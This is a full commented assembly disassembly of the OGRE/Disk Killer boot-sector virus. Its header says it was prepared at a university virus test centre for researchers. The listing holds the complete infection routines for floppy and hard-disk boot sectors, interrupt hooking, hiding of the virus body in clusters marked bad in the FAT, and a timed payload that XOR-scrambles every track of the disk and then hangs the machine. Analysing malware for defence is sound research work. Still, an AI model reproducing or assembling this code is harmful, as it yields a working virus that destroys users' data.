PAGE 65,130 ; ; ; Virus Test Center ; Universitt Hamburg ; Schlterstr. 70 ; 2000 Hamburg 13 ; ; This listing is only given to other computer virus researchers, who ; are deemed trustworthy, and then, only for the sake of crosschecking. ; If you are not one of those, you have illegally obtained this copy. ; Be warned that distributing viruses is illegal under the laws of many ; countries. ; ; ; OGRE/Disk Killer virus ; ; Disassembled: Jan-90 ; by: Morton Swimmer ; ; Virus type: Boot sector ; ; ; ; seg_0 segment at 0 org 20h int8_vector dd ? org 24h int9_vector dd ? org 4Ch int13_vector dd ? org 204h int81_vector dd ? org 208h int82_vector dd ? org 20ch int83_vector dd ? org 0413h mem_avail dw ? seg_0 ends ID_word equ 3CCBh ; (seg_a:3CCB=0) seg_a segment byte public assume cs:seg_a, ds:seg_a org 0 ogre proc far start: cli ; Disable interrupts jmp short loc_2 ; (0052) ; ; Boot Record Parameters ; disk_info equ this byte system_ID db 'MSDOS3.3' ; system ID BytesPerSector dw offset entry ; bytes/sector SectorsPerCluster db 2 ; sectors/cluster ReservedSectors dw 1 ; # of reserved sectors FATcopies db 2 ; # of FAT copies RootDirEntries dw 70h ; # of root dir entries SectorsPerDisk dw 2D0h ; sectors/disk db 0FDh ; format ID SectorsPerFAT dw 2 ; sectors/FAT SectorsPerTrack dw 9 ; sectors/Track DiskHeads dw 2 ; # of heads SpecialResSectors db 0 ; # of special reserved sectors ; ; Data ; db 18 dup (0) db 12h, 0, 0, 0, 0, 1, 0 db 0FAh, 33h, 0C0h, 8Eh, 0D0h, 0BCh, 0, 0 ogre_ID dw ID_word ;(003E) virus ID original_bs dw 48h ; sector # of original bootsector ; (DOS notation) virus_body dd 00000044h ; position of virus body on ; disk in DOS convention _virus_body dd 00000010h ; work copy drive db 0 db 55h, 0, 0, 0, 0, 55h, 55h ; ; more code ; loc_2: mov ax,cs:mem_avail ; BIOS: memory available variable mov cl,6 shl ax,cl ; Shift w/zeros fill mov ds,ax cmp ogre_ID,ID_word ; is the virus already in memory? jne loc_3 ; Jump if not equal push ds lea ax,cs:resident_entry push ax sti ; Enable interrupts retf ; jump into the resident virus loc_3: ; set segment registers mov ax,7C00h mov cl,4 shr ax,cl ; Shift w/zeros fill mov cx,cs add ax,cx mov ds,ax mov es,ax ; es = ds = (7C00>>4) + cs ; = segment beginning with the virus mov ss,cx ; ss = (7C00>>4) mov sp,0F000h ; Load rest of virus into ; memory behind present position sti ; Enable interrupts mov drive,dl mov cx,4 mov bx,BytesPerSector ; = 200h (usually) mov ax,word ptr virus_body ; _virus_body := virus_body mov word ptr _virus_body,ax mov dx,word ptr virus_body[2] mov word ptr _virus_body[2],dx locloop_4: push cx call conv_notation ; (00F4) convert DOS to BIOS notation mov cx,3 locloop_5: push cx mov al,1 call rd_sector ; (0143) pop cx jnc loc_6 ; Jump if carry=0 mov ah,0 int 13h ; Disk dl=drive #: ah=func a0h ; reset disk, al=return status loop locloop_5 ; Loop if cx > 0 int 18h ; ROM basic loc_6: call inc_sector ; (00E6) mov ax,word ptr _virus_body mov dx,word ptr _virus_body[2] add bx,BytesPerSector ; (seg_a:000B=200h) pop cx loop locloop_4 ; Loop if cx > 0 ; reserve 8 pages of memory ; for the virus at top of memory mov ax,cs:mem_avail ; BIOS: Memory available sub ax,8 mov cs:mem_avail,ax ; BIOS: Memory available mov cl,6 shl ax,cl ; Shift w/zeros fill mov es,ax ; es := mem_avail<<6 ; = new location for virus ; copy virus to top of memory mov si,0 mov di,0 mov cx,0A00h cld ; Clear direction rep movsb ; Rep when cx >0 Mov [si] to es:[di] push es mov ax,BytesPerSector ; (seg_a:000B=200h) push ax retf ; long jump to entry ogre endp ; ; inc_sector SUBROUTINE(00E6) ; increment the sector number in _virus_body (DOS notation) ; inc_sector proc near mov ax,word ptr _virus_body ; (seg_a:0046) inc ax mov word ptr _virus_body,ax ; (seg_a:0046) jnc loc_ret_7 ; Jump if carry=0 inc word ptr _virus_body[2] ; (seg_a:0048=0) loc_ret_7: retn inc_sector endp ; ; conv_notation SUBROUTINE(00f4) ; ; Covert from DOS sector notation to BIOS sector/head/track notation ; ; input: the DOS sector number to convert in dx:ax ; ; conv_notation proc near div SectorsPerTrack ; ax,dxrem=dx:ax/data inc dl mov sector,dl xor dx,dx ; Zero register div DiskHeads ; ax,dxrem=dx:ax/data mov head,dl mov track,ax retn conv_notation endp db 0A1h, 41h, 1 db 8Bh, 0Eh, 1Ah, 0, 0F7h, 0E1h db 2, 6, 3Fh, 1, 80h, 0D4h db 0, 8Bh, 0Eh, 18h, 0, 0F7h db 0E1h, 8Ah, 0Eh, 40h, 1, 0FEh db 0C9h, 2, 0C1h, 80h, 0D4h, 0 db 83h, 0D2h, 0, 0A3h, 46h, 0 db 0A3h, 42h, 0, 89h, 16h, 48h db 0, 89h, 16h, 44h, 0, 0C3h head db 0 ;(013f) sector db 1 ;(0140) track dw 4 ;(0141) ; ; rd_sector, wr_sector, direct_int13 SUBROUTINEs(00E6) ; ; read or write a sector using BIOS notation with data in ; track, sector, head, drive variables ; ; ; read a sector rd_sector proc near mov ah,2 ; READ jmp short direct_int13 ; External Entry into Subroutine ; ; write a sector wr_sector: mov ah,3 ; WRITE jmp short direct_int13 ; External Entry into Subroutine ; ; do whatever is in AH direct_int13: mov dx,track ; (seg_a:0141) mov cl,6 shl dh,cl ; Shift w/zeros fill or dh,sector ; (seg_a:0140) mov cx,dx xchg ch,cl ; ch = (HIBYTE(track)<<6)||sector mov dl,drive ; (seg_a:004A) mov dh,head ; (seg_a:013F) int 13h ; Disk dl=drive #, dh=head # ; upper 2 bits of cl and ch = track # ; lower 6 bits of cl = sector # ; es:bx read buffer ; ah=function (2 or 3), al=sectors to read ; BIOS disk routines, al=return status org $-1 code_patch equ this byte ; code patch to avoid problems org $+1 ; later when int 13 is replaced ; with our own routine retn rd_sector endp db 0 ; ; SUBROUTINE(0167) ; ; N.B.: bx = offset buffer_area on entry (always) ; rd_bootsector proc near test drive,80h ; check if hard disk jz rd_FDbootsector ; Jump if no hard disk call rd_FDbootsector jc loc_14 ; error exit push bx mov cx,4 mov bx,1BEh locloop_9: ; ?????? mov ah,buffer_area[bx] cmp ah,80h je loc_10 ; Jump if equal add bx,10h loop locloop_9 ; Loop if cx > 0 mov marker1,0FFh ; (seg_a:01F3) ;* nop jmp short loc_14 ; error exit nop loc_10: mov dl,drive ; (seg_a:004A) mov _drive,dl ; (seg_a:01F4) mov ax,word ptr buffer_area[bx+1] ; (seg_a:08A3) and ah,3Fh ; 00111111 mov _head_sector,ax ; (seg_a:01F5) mov ah,byte ptr buffer_area[bx+2] ; (seg_a:08A4) mov cl,6 shr ah,cl ; Shift w/zeros fill mov al,byte ptr buffer_area[bx+3] ; (seg_a:08A5) mov _track,ax ; (seg_a:01F7) mov marker1,55h ; (seg_a:01F3) ;* nop pop bx mov ax,_track ; (seg_a:01F7) mov track,ax ; (seg_a:0141) mov ax,_head_sector ; (seg_a:01F5) mov word ptr head,ax ; (seg_a:013F) head and sector jmp short loc_12 ; read the sector nop ; External Entry into Subroutine ; rd_FDbootsector: mov ax,0 mov track,ax ; track=0 inc ah mov word ptr head,ax ; => head=0, sector=1 ; => boot sector loc_12: ; read sector in track/head/sector/drive ; N.B.: we get here two ways mov cx,3 mov al,1 locloop_13: push cx call rd_sector ; read sector to bx pop cx jnc loc_15 ; Jump if carry=0 (normal exit) mov ah,0 int 83h ; reset disk loop locloop_13 ; Loop if cx > 0 loc_14: stc ; Set carry flag retn ; error exit loc_15: clc ; Clear carry flag retn ; normal exit rd_bootsector endp ; ; ; Data ; ; db 7 dup (0) counter_lo dw 0 ; for int 8 (timer interrupt) counter_hi db 0 ; for int 8 (timer interrupt) marker1 db 0 ; some sort of marker1? _drive db 80h _head_sector dw 101h _track dw 0 end_of_bs equ this byte db 0, 0, 0, 0, 0 db 55h, 0AAh ; normal end of bs ID ; ; ; External Entry Point ; ; entry: cli ; Disable interrupts mov byte ptr cs:code_patch,83h ; (seg_a:0164=13h) xor ax,ax ; Zero register mov ds,ax ; int 8 -> int 81 mov ax, word ptr ds:int8_vector ; (0000:0020) mov word ptr ds:int81_vector,ax ; (0000:0204=0) mov ax,word ptr ds:int8_vector[2] ; (0000:0022) mov word ptr ds:int81_vector[2],ax ; (0000:0206=0) ; int 13 -> int 83 mov ax,word ptr ds:int13_vector ; (0000:004C=1DB1h) mov word ptr ds:int83_vector,ax ; (0000:020C=0) mov ax,word ptr ds:int13_vector[2] ; (0000:004E=70h) mov word ptr ds:int83_vector[2],ax ; (0000:020E=0) ; hook int 8 mov ax,offset int_8_entry mov word ptr ds:int8_vector,ax ; hook int 13 mov ax,offset int_13_entry mov word ptr ds:int13_vector,ax mov ax,cs mov word ptr ds:int8_vector[2],ax mov word ptr ds:int13_vector[2],ax sti ; Enable interrupts jmp short loc_16 nop ; entry point into ; virus if it is ; already in memory resident_entry: xor ax,ax ; Zero register mov ds,ax mov ax,cs mov es,ax mov si,7C03h mov di,3 mov cx,47h cld ; Clear direction rep movsb ; Rep when cx >0 Mov [si] to es:[di] loc_16: xor ax,ax ; Zero register mov es,ax mov ax,cs mov ds,ax mov ax,original_bs ; (seg_a:0040=48h) xor dx,dx ; Zero register call conv_notation mov bx,7C00h mov cx,3 locloop_17: push cx mov al,1 call rd_sector jnc loc_18 ; Jump if carry=0 mov ah,0 int 83h pop cx loop locloop_17 ; Loop if cx > 0 int 18h ; ROM basic loc_18: ; jmp far ptr [0000:7C00h] db 0eah, 0, 7ch, 0, 0 ; ; ; External Entry Point for Timer Interrupt ; ; int_8_entry: inc cs:counter_lo ; (seg_a:01F0=0) jnz loc_19 ; Jump if not zero inc cs:counter_hi ; (seg_a:01F2=0) loc_19: int 81h iret ; Interrupt return ; ; ; External Entry Point for Keyboard Interrupt ; ; int_9_entry: int 82h retf 2 ; Return far ; ; ; External Entry Point for BIOS Disk Services ; ; capture all reads from disk ; ; if (function == READ) ; AND (counter_lo > 0) # within a 20.71 hour period ; AND (counter_hi = 30h) # after 993.96 hours (41 days) ; then damage! ; ; ; ; int_13_entry: sti ; Enable interrupts cmp ah,2 ; READ SECTOR jne int_13_exit ; Jump if not equal cmp cs:counter_lo,0 ; (seg_a:01F0) jbe loc_20 ; Jump if below or = cmp cs:counter_hi,30h ; (seg_a:01F2) jne loc_20 ; Jump if not equal jmp damage ; (05C2) let's have some fun loc_20: test dl,80h ; is drive a hard disk jnz loc_22 ; Jump if hard disk (bit 7 set) test cl,0C0h ; are the 2 high bit set: good sign the media is wierd jnz int_13_exit ; Jump if not zero: leave cmp ch,0 jne int_13_exit ; Jump if not equal: leave cmp dh,0 je loc_23 ; Jump if equal int_13_exit: jmp _int_13_exit ; (034A) vamoush ; drive is hard disk! loc_22: test cs:marker1,0AAh ; BS was probably source of ; of virus, else was just ; infected. jz loc_23 ; Jump if zero ; does data match with ; source of virus? cmp dl,cs:_drive ; (seg_a:01F4) jne int_13_exit ; Jump if not equal: leave cmp dh,byte ptr cs:_head_sector ; (seg_a:01F5) jne int_13_exit ; Jump if not equal: leave cmp ch,byte ptr cs:_track ; (seg_a:01F7) jne int_13_exit ; Jump if not equal: leave dec cs:counter2 ; (seg_a:034F) jnz int_13_exit ; Jump if not zero: leave mov cs:marker2,0FFh ; mark HD nop ; HD or FD drive: ; lets get down to the ; nitty-gritty loc_23: push ax push bx push cx push dx push ds push es push si mov ax,cs mov ds,ax mov es,ax ; es = ds = cs cmp byte ptr marker2,0FFh jne loc_24 ; Jump if not equal call update_bs_data ; (0352) jc loc_27 ; Jump if carry Set jmp short loc_28 ; (0343) nop ; it was a FD loc_24: ; load the BS mov drive,dl ; (seg_a:004A) lea bx,buffer_area ; (seg_a:08A2) Load effective addr call rd_bootsector ; (0167) jc loc_27 ; Jump if error mov ax,[bx][offset ogre_ID] nop ;*Fixup for MASM (M) cmp ax,ID_word ; is BS infected? jne loc_25 ; Jump if not equal test drive,80h ; (seg_a:004A) jz loc_28 ; Jump if zero mov marker1,0AAh ; (seg_a:01F3) jmp short loc_28 nop loc_25: ; infect a FD call cp_boot_record ; copy the boot record to test drive,80h ; (seg_a:004A) jnz loc_26 ; Jump if not zero call infect_FD ; (04A8) jc loc_27 ; Jump if carry Set jmp short loc_28 nop loc_26: ; infect a HD call infect_HD jc loc_27 ; Jump if error loc_27: nop loc_28: pop si pop es pop ds pop dx pop cx pop bx pop ax _int_13_exit: int 83h retf 2 ; Return far counter2 db 1 ; could this be some sort of counter? marker2 db 0 ; is disk HD or FD marker3 db 0 ; ; SUBROUTINE(0352) ; update_bs_data proc near mov counter2,10h ; (seg_a:034F) mov marker2,0 ; (seg_a:0350) mov drive,dl ; (seg_a:004A) lea bx,buffer_area ; (seg_a:08A2) Load effective addr call rd_bootsector cmp word ptr [bx][offset ogre_ID],ID_word nop ;*Fixup for MASM (M) je loc_30 ; Jump if equal mov marker1,0 ; (seg_a:01F3) retn loc_30: cmp marker3,77h ; (seg_a:0351=0) je loc_31 ; Jump if equal mov ax,[bx][offset counter_lo] add counter_lo,ax ; (seg_a:01F0=0) mov al,counter_hi ; (seg_a:01F2=0) adc counter_hi,al ; (seg_a:01F2=0) mov marker3,77h ; (seg_a:0351=0) loc_31: mov ax,counter_lo mov [bx][offset counter_lo],ax mov al,counter_hi mov [bx][offset counter_hi],al mov ax,[bx][offset _head_sector] mov word ptr head,ax mov ax,[bx][offset _track] mov track,ax mov al,1 lea bx,buffer_area ; (seg_a:08A2) Load effective addr call wr_sector mov marker1,0AAh ; (seg_a:01F3) retn update_bs_data endp ; ; SUBROUTINE(03BB) ; infect_HD proc near mov ax,word ptr SpecialResSectors ; (seg_a:001C=0) cmp ax,5 jbe loc_32 ; Jump if below or = dec ax xor dx,dx ; Zero register mov original_bs,ax ; (seg_a:0040) call conv_notation mov al,1 lea bx,buffer_area ; (seg_a:08A2) Load effective addr call wr_sector ; (0147) jc loc_32 ; Jump if carry Set mov ax,original_bs ; (seg_a:0040) xor dx,dx ; Zero register sub ax,4 call wr_virus_body ; (03F6) jc loc_32 ; Jump if carry Set call replace_bs ; (052D) jc loc_32 ; Jump if carry Set mov marker1,0AAh ; (seg_a:01F3) clc ; Clear carry flag retn loc_32: stc ; Set carry flag retn infect_HD endp last_data_cluster dw 162h ; last cluster available on disk free_clusters db 3 required_clusters db 3 ; ; wr_virus_body SUBROUTINE(03F6) ; ; write the virus body to the sector pointed to by dx:ax ; input: dx:ax ; wr_virus_body proc near mov word ptr virus_body,ax ; (seg_a:0042) mov word ptr virus_body[2],dx ; (seg_a:0044) call conv_notation ; (00F4) test drive,80h ; is HD? jnz loc_33 ; Jump if HD mov marker3,0 ; (seg_a:0351) loc_33: ; mov counter2,1 ; (seg_a:034F) lea bx,cs:[200h] ; Load effective addr mov al,4 call wr_sector ; (0147) mov marker3,77h ; (seg_a:0351) retn wr_virus_body endp ; ; SUBROUTINE(0420) ; flag_bad_sectors proc near mov ax,4 inc ax div SectorsPerCluster ; (seg_a:000D=2) al,ah rem = ax/data mov required_clusters,al ; (seg_a:03F5=3) cmp ah,0 je loc_34 ; Jump if equal inc required_clusters ; (seg_a:03F5) ; required_clusters = round(5/SectorsPerCluster) loc_34: mov ax,BytesPerSector ; (seg_a:000B=200h) mov cl,20h div cl ; al, ah rem = ax/reg mov cl,al mov ax,RootDirEntries ; (seg_a:0011=70h) div cl ; al, ah rem = ax/reg add ax,ReservedSectors ; (seg_a:000E=1) mov bx,ax mov ax,SectorsPerFAT ; (seg_a:0016=2) mul FATcopies ; (seg_a:0010=2) ax = data * al add bx,ax mov first_data_sec,bx ; first_data_sec = (RootDirEntries/(BytesPerSector/20))+ReservedSectors ; + (SectorsPerFAT*FATcopies) ; eg 70h/(200h/20h)+1+(2*2) = 0ch mov ax,SectorsPerDisk ; (seg_a:0013=2D0h) sub ax,bx mov cl,SectorsPerCluster ; (seg_a:000D=2) xor dx,dx ; Zero register xor ch,ch ; Zero register div cx ; ax,dx rem=dx:ax/reg mov last_data_cluster,ax ; (seg_a:03F2) ; last_data_cluster = (SectorsPerDisk - first_data_sec)/SectorsPerCluster ; eg (2d0h-0ch)/2 = 162h mov cx,23h loc_35: call rd_FATrec ; (0577) cmp dx,0 ; free sector jne loc_36 ; Jump if not equal inc free_clusters ; (seg_a:03F4) mov al,free_clusters ; (seg_a:03F4) cmp al,required_clusters ; (seg_a:03F5) jne loc_37 ; Jump if not equal jmp short loc_38 ; (0490) nop loc_36: mov free_clusters,0 ; (seg_a:03F4) loc_37: inc cx cmp cx,last_data_cluster ; (seg_a:03F2=162h) jne loc_35 ; Jump if not equal stc ; Set carry flag retn loc_38: call wr_bad_FATrec ; (0596) dec cx dec al jnz loc_38 ; Jump if not zero inc cx mov last_bad_FATrec,cx ; (seg_a:04A1=11Eh) clc ; Clear carry flag retn flag_bad_sectors endp _ReservedSectors dw 1 ; stores ReservedSectors last_bad_FATrec dw 11Eh ; stores the last FAT record to be marked bad first_data_sec dw 0Ch ; first available sector on disk ; ; infect_FD SUBROUTINE ; loc_39: jmp loc_40 ; (052B) infect_FD proc near mov ax,ReservedSectors ; (seg_a:000E=1) mov _ReservedSectors,ax ; (seg_a:049F) xor dx,dx ; Zero register call conv_notation ; (00F4) lea bx,buffer_area ; (seg_a:08A2) Load effective addr mov ax,SectorsPerFAT ; (seg_a:0016=2) call rd_sector ; (0143) jc loc_39 ; Jump if carry Set call flag_bad_sectors ; (0420) jc loc_39 ; Jump if carry Set lea bx,buffer_area ; (seg_a:08A2) Load effective addr mov ax,SectorsPerFAT ; (seg_a:0016=2) call wr_sector ; (0147) jc loc_39 ; Jump if carry Set mov ax,_ReservedSectors ; (seg_a:049F=1) add ax,SectorsPerFAT ; (seg_a:0016=2) xor dx,dx ; Zero register call conv_notation ; (00F4) lea bx,buffer_area ; (seg_a:08A2) Load effective addr mov ax,SectorsPerFAT ; (seg_a:0016=2) call wr_sector ; (0147) jc loc_39 ; Jump if carry Set mov ax,last_bad_FATrec ; (seg_a:04A1=11Eh) sub ax,2 xor dx,dx ; Zero register mul SectorsPerCluster ; (seg_a:000D=2) ax = data * al add ax,first_data_sec ; (seg_a:04A3=0Ch) call wr_virus_body ; (03F6) jc loc_40 ; Jump if carry Set lea bx,buffer_area ; (seg_a:08A2) Load effective addr call rd_bootsector ; (0167) jc loc_40 ; Jump if carry Set mov ax,word ptr virus_body ; (seg_a:0042=44h) mov dx,word ptr virus_body[2] ; (seg_a:0044=0) add ax,4 adc dx,0 mov original_bs,ax ; (seg_a:0040=48h) call conv_notation ; (00F4) lea bx,buffer_area ; (seg_a:08A2) Load effective addr mov al,1 call wr_sector ; (0147) jc loc_40 ; Jump if carry Set call replace_bs ; (052D) jc loc_40 ; Jump if carry Set clc ; Clear carry flag retn loc_40: stc ; Set carry flag retn infect_FD endp ; ; SUBROUTINE(052d) ; replace_bs proc near lea si,ds:start ; (seg_a:0000=0FAh) Load effective addr lea di,cs:buffer_area ; (seg_a:08A2) Load effective addr lea cx,cs:end_of_bs ; Load effective addr cld ; Clear direction rep movsb ; Rep when cx >0 Mov [si] to es:[di] ; patch various places lea bx,buffer_area ; (seg_a:08A2) Load effective addr mov byte ptr ds:[bx][offset code_patch],13h ; (seg_a:0164=13h) mov word ptr [bx][offset counter_lo],0 ; (seg_a:01F0=0) mov byte ptr [bx][offset counter_hi],0 ; (seg_a:01F2=0) test drive,80h ; (seg_a:004A=0) jnz loc_41 ; Jump if not zero mov byte ptr [bx][offset marker1],0 ; (seg_a:01F3=0) jmp short loc_42 ; (0564) nop loc_41: mov byte ptr [bx][offset marker1],0AAh ; (seg_a:01F3) loc_42: mov ax,[bx][offset SectorsPerTrack] ;* nop ;*Fixup for MASM (M) xor dx,dx ; Zero register call conv_notation mov al,1 lea bx,buffer_area ; (seg_a:08A2) Load effective addr call wr_sector retn replace_bs endp ; ; rd_FATrec SUBROUTINE(0577) ; ; reads the required 12bit FAT entry ; ; input in cx (eg. 23h) ; output in dx ; rd_FATrec proc near push cx lea si,buffer_area ; (seg_a:08A2) Load effective addr mov bx,cx shl bx,1 ; Shift w/zeros fill add bx,cx shr bx,1 ; Shift w/zeros fill ; bx = 1.5 * cx mov dx,[bx+si] test cx,1 jz loc_43 ; Jump if zero mov cl,4 shr dx,cl ; Shift w/zeros fill ; correct odd entries loc_43: and dx,0FFFh pop cx retn rd_FATrec endp ; ; wr_bad_FATrec SUBROUTINE(0596) ; ; mark FAT entry as bad ; input in cx ; wr_bad_FATrec proc near push cx lea si,buffer_area ; (seg_a:08A2) Load effective addr mov bx,cx shl bx,1 ; Shift w/zeros fill add bx,cx shr bx,1 ; Shift w/zeros fill ; x = 1.5 * cx mov dx,[bx+si] test cx,1 jz loc_44 ; Jump if zero ; for odd entries: and dx,0Fh nop ;*Fixup for MASM (M) or dx,0FF70h ; mark as bad jmp short loc_45 ; (05BE) nop loc_44: ; for even entries: and dx,0F000h or dx,0FF7h ; mark as bad loc_45: mov [bx+si],dx pop cx retn wr_bad_FATrec endp ; ; damage the disk(05c2) ; damage: ; damage the disk mov byte ptr cs:code_patch,13h ; restore the patched code cli ; Disable interrupts xor ax,ax ; Zero register mov ds,ax ASSUME ds:seg_0 ; int 9 -> int 82 mov ax,word ptr ds:int9_vector ; (0000:0024) mov word ptr ds:int82_vector,ax ; (0000:0208) mov ax,word ptr ds:int9_vector[2] ; (0000:0026) mov word ptr ds:int82_vector[2],ax ; (0000:020A) ; int_9_entry -> int 9 mov ax,offset int_9_entry ; (028A) mov word ptr int9_vector,ax ; (0000:0024) mov ax,cs mov word ptr int9_vector[2],ax ; (0000:0026) ; restore all other interrupts mov ax,word ptr ds:int81_vector ; (0000:0204) mov word ptr int8_vector,ax ; (0000:0020) mov ax,word ptr ds:int81_vector[2] ; (0000:0206) mov word ptr int8_vector[2],ax ; (0000:0022) mov ax,word ptr ds:int83_vector ; (0000:020C) mov word ptr int13_vector,ax ; (0000:004C) mov ax,word ptr ds:int83_vector[2] ; (0000:020E) mov word ptr int13_vector[2],ax ; (0000:004E) sti ; Enable interrupts mov ax,cs mov ds,ax mov es,ax ASSUME ds:seg_a, es:seg_a sub ax,1000h mov store_es,ax ; (seg_a:0862) cmp marker1,0 ; (seg_a:01F3) je loc_46 ; Jump if equal mov dl,_drive ; (seg_a:01F4) loc_46: mov drive,dl ; (seg_a:004A) lea bx,buffer_area ; (seg_a:08A2) Load effective addr call rd_bootsector ; (0167) call cp_boot_record ; (0813) mov ah,0Fh int 10h ; Video display ah=functn 0Fh ; get state, al=mode, bh=page mov ah,0 int 10h ; Video display ah=functn 00h ; set display mode in al mov ax,600h mov cx,0 mov dx,184Fh mov bx,7 int 10h ; Video display ah=functn 06h ; scroll up, al=lines mov ah,2 mov bh,0 mov dx,10Eh int 10h ; Video display ah=functn 02h ; set cursor location in dx mov bx,70h mov si,offset str_title ; (seg_a:073A) call display_str ; (0889) mov ah,2 mov bh,0 mov dx,1523h int 10h ; Video display ah=functn 02h ; set cursor location in dx mov bx,2Eh mov si,offset str_warning ; (seg_a:0774) call display_str ; (0889) mov ah,2 mov bh,0 mov dx,0C23h int 10h ; Video display ah=functn 02h ; set cursor location in dx mov bx,8Ch mov si,offset str_processing ; (seg_a:07D2) call display_str ; (0889) ; annihilate 200h of the buffer area lea ax,buffer_area ; (seg_a:08A2) Load effective addr mov di,ax mov ax,0 mov cx,BytesPerSector ; (seg_a:000B=200h) cld ; Clear direction rep stosb ; Rep when cx >0 Store al to es:[di] mov ax,SectorsPerTrack ; (seg_a:0018=9) mov word ptr buffer_area[6],ax ; (seg_a:08A8) mov cx,BytesPerSector ; (seg_a:000B=200h) mov word ptr buffer_area[2],cx ; (seg_a:08A4) mul cx ; dx:ax = reg * ax shr ax,1 ; Shift w/zeros fill mov words_to_mangle,ax ; (seg_a:0860) mov ax,SectorsPerDisk ; (seg_a:0013=2D0h) xor dx,dx ; Zero register div SectorsPerTrack ; (seg_a:0018=9) ax,dxrem=dx:ax/data mov cx,ax push cx mov word ptr buffer_area[4],ax ; (seg_a:08A6) mov bx,0 mov head,bl ; (seg_a:013F) mov track,bx ; (seg_a:0141) mov sector,1 ; (seg_a:0140) mov ax,store_es ; (seg_a:0862) mov es,ax mov al,1 call rd_sector ; (0143) inc sector ; (seg_a:0140) call wr_sector ; (0147) pop cx mov ax,0 locloop_47: push cx mov bx,0 call rd_track ; (0822) jc loc_48 ; Jump if carry Set mov bx,0 call mangle_track ; (0864) mov bx,0 call wr_track ; (082A) jnc loc_49 ; Jump if carry=0 loc_48: push ax push cx mov cl,8 div cl ; al, ah rem = ax/reg lea bx,word ptr buffer_area[8]; (seg_a:08AA=0) Load effective addr mov cl,ah xor ah,ah ; Zero register add bx,ax mov al,80h shr al,cl ; Shift w/zeros fill or al,[bx] mov [bx],al pop cx pop ax loc_49: inc ax pop cx loop locloop_47 ; Loop if cx > 0 mov head,0 ; (seg_a:013F=0) mov track,0 ; (seg_a:0141=4) mov sector,1 ; (seg_a:0140=1) mov ax,cs mov es,ax mov bx,offset buffer_area ; (seg_a:08A2) mov al,1 call wr_sector ; (0147) mov ax,600h mov cx,0 mov dx,184Fh mov bx,8 int 10h ; Video display ah=functn 06h ; scroll up, al=lines mov ah,2 mov bh,0 mov dx,0C00h int 10h ; Video display ah=functn 02h ; set cursor location in dx mov bx,2Ch mov si,offset str_good_luck ; (seg_a:07DF) call display_str ; (0889) loc_50: ; Hang the system jmp short loc_50 ; (0738) ; ; Texts ; str_title db 'Disk Killer -- Version 1.00 by COMPUTER OGRE 04/01/1989', 0Dh, 0Ah, 0 str_warning db 'Warning !!', 0Dh, 0Ah, 0Ah db 'Don', 27h, 't turn off the power or remove the diskette while Disk Killer is Processing!', 0 str_processing db 'PROCESSING', 0Dh, 0Ah, 0 str_good_luck db 'Now you can turn off the power.', 0Dh, 0Ah, 0Ah db 'I wish you luck !', 0 ; ; SUBROUTINE(0813) ; cp_boot_record proc near push di mov cx,3Ah mov si,offset buffer_area + 3 ; (seg_a:08A5) mov di,offset disk_info ; (seg_a:0003) cld ; Clear direction rep movsb ; Rep when cx >0 Mov [si] to es:[di] pop di retn cp_boot_record endp ; ; read or write a track SUBROUTINE(0822) ; ; read a track rd_track proc near mov xx_track_func,2 ; (seg_a:0832=0) nop jmp short loc_51 ; (0833) ; External Entry into Subroutine ; write a track wr_track: mov xx_track_func,3 ; (seg_a:0832=0) nop jmp short loc_51 ; (0833) xx_track_func db 0 ; function to execute loc_51: push ax xor dx,dx ; Zero register mov cx,DiskHeads ; (seg_a:001A=2) div cx ; ax,dx rem=dx:ax/reg mov sector,1 ; (seg_a:0140=1) mov head,dl ; (seg_a:013F=0) mov track,ax ; (seg_a:0141=4) mov ax,store_es ; (seg_a:0862=0) mov es,ax mov ah,xx_track_func ; (seg_a:0832=0) mov al,byte ptr SectorsPerTrack ; (seg_a:0018=9) call direct_int13 ; (014B) jnc loc_52 ; Jump if carry=0 mov ah,0 int 13h ; Disk dl=drive #: ah=func a0h ; reset disk, al=return status stc ; Set carry flag loc_52: pop ax retn rd_track endp words_to_mangle dw 0 store_es dw 0 ; ; mess up a sector(0864) ; mangle_track proc near push ax push ds push store_es ; (seg_a:0862=0) pop ds mov cx,cs:words_to_mangle ; (seg_a:0860=0) mov dl,al shr dl,1 ; Shift w/zeros fill jc loc_53 ; Jump if carry Set xor ax,0AAAAh jmp short locloop_54 ; (087E) loc_53: xor ax,5555h locloop_54: xor ax,[bx] mov [bx],ax inc bx inc bx loop locloop_54 ; Loop if cx > 0 pop ds pop ax retn mangle_track endp ; ; SUBROUTINE(0889) ; display_str proc near push cx mov cx,1 loc_55: lodsb ; String [si] to al or al,al ; Zero ? jz loc_57 ; exit loop if zero cmp al,20h jb loc_56 ; Jump if below (no control chars please) mov ah,9 int 10h ; Video display ah=functn 09h ; set char al & attrib bl @curs loc_56: mov ah,0Eh int 10h ; Video display ah=functn 0Eh ; write char al, teletype mode jmp short loc_55 ; (088D) loc_57: pop cx retn display_str endp ; ; DATA ; buffer_area db 0FDh ; (08A2) dw 0FFFFh db 347 dup (0) end_of_code equ this byte seg_a ends end start